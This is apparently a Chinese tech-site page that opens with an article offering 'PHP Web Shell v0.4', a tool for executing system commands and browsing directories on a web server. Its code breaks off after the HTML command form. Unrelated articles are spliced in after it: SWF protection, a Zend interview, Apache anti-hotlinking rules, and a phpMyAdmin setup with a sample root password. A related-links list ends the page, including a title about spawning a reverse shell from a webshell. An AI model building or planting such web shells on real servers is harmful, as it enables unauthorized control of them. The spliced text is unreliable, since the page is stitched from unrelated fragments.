PHP Shell的编写(改进版)

 更新时间:2016年11月25日 16:15  点击:1747
  以前写过一个没有任何技术含量的PHP CMD Shell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP 后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHP Shell,希望大家喜欢!

程序介绍:
程序:PHP Web Shell
版本:v0.4
功能:
1.可以支持目前主流的操作系统: Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录
未来功能:
1.支持在线 上传/下载 文件功能
2.支持在线 新建/删除/添加/修改 文件功能
程序代码:

<html>
<head>
<title>PHP Web Shell v0.4</title>
<!-- 定义文件样式 -->
<style>
<!--
.input{BORDER-RIGHT: #888888 1px solid; BORDER-TOP: #888888 1px solid; BACKGROUND: #ffffff; BORDER-LEFT: #888888 1px solid; BORDER-BOTTOM: #888888 1px solid; FONT-FAMILY: "Verdana", "Arial"font-color: #ffffff;FONT-SIZE: 9pt;}
.font{FONT-SIZE: 9pt;}
.fonts{FONT-SIZE: 15pt;}
TABLE{FONT-SIZE: 9pt; COLOR: #006666}
A {FONT-SIZE: 9pt; COLOR: #6666cc; TEXT-DECORATION: none}
A:hover {FONT-SIZE: 9pt; COLOR: #ff3333; TEXT-DECORATION: none}
BODY
{ SCROLLBAR-FACE-COLOR: #ffffff;
SCROLLBAR-HIGHLIGHT-COLOR: #6c6c90;
SCROLLBAR-SHADOW-COLOR: #fcfcfc;
SCROLLBAR-3DLIGHT-COLOR: #fcfcfc;
SCROLLBAR-ARROW-COLOR: #240024;
SCROLLBAR-TRACK-COLOR: #fcfcfc;
SCROLLBAR-DARKSHADOW-COLOR: #48486c;
SCROLLBAR-BASE-COLOR: #fcfcfc
}
-->
</STYLE>
</head>
<body bgcolor="#eeeeee" text="#000000">
<center><font size=3 color=red class=fonts><b>PHP Web Shell</b></font> v0.4
<font size=2 color="000000" class=font>适用系统:Win32/Linux/Unix/BSD</font>
<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>"> //获取脚本本身
<font class=font>输入命令 </font><INPUT TYPE="text" NAME="cmd" size=20 class=input>
<INPUT TYPE="submit" value="执行" class=input>
本文的保护是指防止用户将swf文件保存到本地,其实这种方法在很久之前就有人使用过了。主要的保护措施就是在php后台读取$_SERVER数组,如果是用IE里面的ActiveX控件来加载影片,将会有一个$_SERVER["HTTP_X_FLASH_VERSION"]参数,如果是用其它下载软件来下载,则不会有这个参数,纳闷的是用Firefox的ActiveX竟然没有这个参数。
这样一来就可以通过这个参数来判断用户的获取方式是否合法了。如果检测到没有$_SERVER["HTTP_X_FLASH_VERSION"]这个参数,就可以在后台切换另外一个swf来替换原来的。
 
另外一个就是缓存问题了,一般swf显示之后都还会显示在用户的缓存那里,这个问题也可以解决,那就是通过设置网页的头文件来实现,PHP代码:

使用PHP程序来保护你的flash作品

要声名一下,这种保护技术的能力是有限的,可以破解的方法还是有的。
>>摘自对Zend 的marketing VP Pamela Roussos的访问
继PHP获得“Programming Language of 2004”大奖之后,由Zend公司主导的PHP,开始向J2EE和.NET发起挑战,抢夺WEB企业应用开发市场。
根据 Forrester公司的调研,预计到2006市场上将会 有22%的企业应用使用J2EE开发,13%使.NET,56%为二者结合,还有9%使用其它语言和平台。Zend公司的目标正是这9%(甚至更多,因为Zend认为J2EE过于复杂,而使用PHP来高效率地开发出高速的应用是不难的 。Zend公司已经推出了Zend Platform 1.1, 目的正是在于提高PHP的企业级应用竞争力。这是一个完整的解决方案,甚至为PHP和Java的结合提供了一个PHP/Java Integration Bridge ,使用两者可以方便地结合。它将被集中到Zend Studio中。Zend Platform支持 Linux, Sparc Solaris, FreeBSD 4.x/5.x 和 Mac OS X. ,其单CPU服务器版本价格为999美元,双CPU服务器版本价格为1495美元。
 
除了推出Zend Platform外,Zend公司正在加紧推出Zend Studio4.0,大约在情人节(05.02.14)可以推出Beta版本。
 ZendStudio提供了MySQL, PostgreSQL, SQLite, Oracle, SQL Server, DB2 和 Cloudscape 数据库集成和支持。
顺便提一下Zend公司,这个在以色列成立五年的公司已经拥有8000多个客户(如ufthansa, Lockheed Martin, Disney Online, Dresdner Bank, Orange and ADP)。2003年其总部迁往美国加利福尼亚州,并开始在德国和日本开设办事处。


Apache 实现禁止图片盗链
1、假设充许连结图片的主机域名为:www.demo.com.cn
2、修改httpd.conf
Code:
SetEnvIfNoCase Referer "^http://www.demo.com.cn/" local_ref=1
<FilesMatch ".(gif|jpg)">
Order Allow,Deny
Allow from env=local_ref
</FilesMatch>

这个简单的应用不光可以解决图片盗链的问题,稍加修改还可以防止任意文件盗链下载的问题。
 
使用以上的方法当从非指定的主机连结图片时,图片将无法显示,如果希望显示一张“禁止盗链”的图片,我们可以用mod_rewrite 来实现。
 
首先在安装 apache 时要加上 --enable-rewrite 参数加载 mod_rewrite 模组。
 
假设“禁止盗链”的图片为abc.gif,我们在 httpd.conf 中可以这样配置:

Code:
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?demo.com.cn /.*$ [NC]
RewriteRule .(gif|jpg)$ http://www.demo.com.cn/abc.gif [R,L]
++++++++++++++++++++++++++++++++++++++
DocumentRoot "/usr/local/apache/htdocs"
#设置存放站点html文件的目录。
 
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
#设置/目录的指令。具体地说明:
Option:定义在目录内所能执行的操作。
 
None:表示只能浏览,
FollowSymLinks:允许页面连接到别处,
ExecCGI:允许执行CGI,
MultiViews:允许看动画或是听音乐之类的操作,
Indexes:允许服务器返回目录的格式化列表,
Includes:允许使用SSI。这些设置可以复选。
 
All:则可以做任何事,但不包括MultiViews。
 
AllowOverride:加None参数表示任何人都可以浏览该目录下的文件。
 
另外的参数有:FileInfo、AuthConfig、Limit。


学会使用基于Web数据库的管理工具phpMyAdmin。
  如果使用合适的工具,MySQL数据库的管理就会为得相当简单。应用MySQL命令行方式需要对MySQL知识非常熟悉,对SQL语言也是同样的道理。不仅如此,如果数据库的访问量很大,列表中数据的读取就会相当困难。
  当前出现很多GUI MySQL客户程序,其中最为出色的是基于Web的phpMyAdmin工具。这是一种MySQL数据库前台的基于PHP的工具。PhpMyAdmin的缺点是必须安装在你的Web服务器中,所以如果没有合适的访问权限,其它用户有可能损害到你的SQL数据。
  功受奖者PhpMyAdmin的安装过程非常简单。从http://www.phpmyadmin.net/下载PhpMyAdmin,当前最新版本是2.6.4-pl3。将下载文件解压缩到你选择的路径,比如 /srv/www/domain.com/html/admin。在将phpMyAdmin与数据库连接之前,请确保phpMyAdmin处于受保护状态,其中可以通过建立一个an .htaccess文件来完成:
<code>
AuthUserFile /srv/www/domain.com/.htpasswd
AuthGroupFile /dev/null
AuthName adminAuthType basic
<Files *>
Order Deny,Allow
Deny From All
Allow From localhost
require user admin
satisfy any
</Files>
</code>
  以上代码段使得假设路径/srv/www/domain.com没有受保护因此.htaccess文件处于Web路径之外(比如Apache中的 DocumentRoot为/srv/www/domain.com/html)。使用htpasswd工具建立 /srv/www/domain.com/.htpasswd文件:Create the /srv/www/domain.com/.htpasswd file using the htpasswd tool:
<code>
# htpasswd -cm /srv/www/domain.com/.htpasswd admin
</code>
  一旦你已经提供了管理员的密码,可以编辑包含phpMyAdmin 的config.inc.php文件。你将可以编辑$cfg['PmabsoluteUri']关键字以指向安装在服务器中phpMyAdmin的位置,然后编辑$cfg['Servers']数组。为了快速建立和运行,并且能够编辑服务器上所有的数据库,你将需要提供的权限证明:
<code>
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';$cfg['Servers'][$i]['password'] = 'mysecretrootpass';
</code>
  现在你可以进入http://www.domain.com/admin/phpMyAdmin-2.6.4-pl3/并访问你的MySQL数据,并可将路径重命名为phpMyAdmin/以更为方便的访问。
[!--infotagslink--]

相关文章

  • php webshell下直接反弹shell的例子

    webshell对于我们站长来讲肯定听到比较多了,我们网站可能经常被人使用期webshell方式注入一些东西了,下面一起来看一个php webshell下直接反弹shell的例子,具体如下。...2016-11-25
  • Powershell实现编写和运行脚本

    本文为那些对学习 Windows PowerShell 命令行和脚本编写环境感兴趣的系统管理员提供了资源。也请告诉我们本网站如何才能对您更有用处。...2020-06-30
  • Shell脚本中让进程休眠的方法(sleep用法)

    这篇文章主要介绍了Shell脚本中让进程休眠的方法,本文讲解的就是sleep的用法,可以实现睡觉若干秒、若干分钟、若干小时,需要的朋友可以参考下...2020-07-11
  • Linux 下使用shell脚本定时维护数据库的案例

    这篇文章主要介绍了Linux 下使用shell脚本定时维护数据库,本文通过案例分析给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-07-11
  • c# 对CSV文件操作(写入、读取、修改)

    这篇文章主要介绍了c# 如何对CSV文件操作,帮助大家更好的理解和学习C#,感兴趣的朋友可以了解下...2020-11-03
  • JS双击变input框批量修改内容

    这篇文章主要介绍了JS双击变input框批量修改内容的实现代码,非常不错,具有参考借鉴价值,需要的朋友可以参考下...2017-01-09
  • shell脚本实战-while循环语句

    这篇文章主要介绍了shell脚本实战-while循环语句,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-12-09
  • Shell字符串比较相等、不相等方法小结

    这篇文章主要介绍了Shell字符串比较相等、不相等方法小结,本文直接给出代码,但代码中含有大量注释,需要的朋友可以参考下...2020-07-11
  • 自动设置安卓手机wifi代理的PowerShell脚本

    这篇文章主要介绍了自动设置安卓手机wifi代理的PowerShell脚本,帮助大家进行抓包测试,感兴趣的朋友可以了解下...2020-10-17
  • 使用phpMyAdmin批量修改Mysql数据表前缀的方法

    多个网站共用一个Mysql数据库时,为使数据库管理不混乱,一般采用不同的网站使用不同前缀名的方式进行区分。而如何批量修改已有数据库的前缀名呢?全部导出修改后再导入?还是一个表一个表的修改?今天我要介绍的是相对简单的...2015-10-21
  • shell中的for循环用法详解

    这篇文章主要介绍了shell中的for循环用法详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-07-11
  • PowerShell中使用Get-Date获取日期时间并格式化输出的例子

    这篇文章主要介绍了PowerShell中使用Get-Date获取日期时间并格式化输出的例子,本文讲解了直接调用Get-Date、在Write-Host中使用Get-Date、格式化输出的方法,需要的朋友可以参考下...2020-06-30
  • PowerShell读取文件内容、替换文件内容、读取限定行的例子

    这篇文章主要介绍了PowerShell读取文件内容、替换文件内容、读取限定行的例子,本文使用3个例子来说明实现这3个需求的操作技巧,需要的朋友可以参考下...2020-06-30
  • vue实现在进行增删改操作后刷新页面

    这篇文章主要介绍了vue实现在进行增删改操作后刷新页面,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-08-05
  • C#设置自定义文件图标实现双击启动(修改注册表)

    这篇文章介绍的是利用C#设置自定义文件图标,然后实现双击启动的功能,文章给出了示例代码,介绍的很详细,有需要的可以参考借鉴。...2020-06-25
  • shell脚本多实例部署nginx的详细教程

    周一今天给大家分享shell脚本多实例部署nginx的详细教程,文章通过实例代码脚本给大家详细介绍,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧...2021-10-26
  • 利用C#修改Windows操作系统时间

    这篇文章主要介绍了利用C#修改Windows操作系统时间,帮助大家更好的利用c#操作系统,感兴趣的朋友可以了解下...2020-12-08
  • Linux Shell脚本中获取本机ip地址方法

    这篇文章主要介绍了Linux Shell脚本中获取本机ip地址方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-10-20
  • JQuery EasyUI学习教程之datagrid 添加、修改、删除操作

    这篇文章主要介绍了JQuery EasyUI datagrid 添加、修改、删除操作的相关资料,非常不错,具有参考借鉴价值,需要的朋友可以参考下...2016-07-25
  • Shell脚本8种字符串截取方法总结

    这篇文章主要介绍了Shell脚本8种字符串截取方法总结,每个方法给出了实例代码和操作结果,一目了然,需要的朋友可以参考下...2020-07-11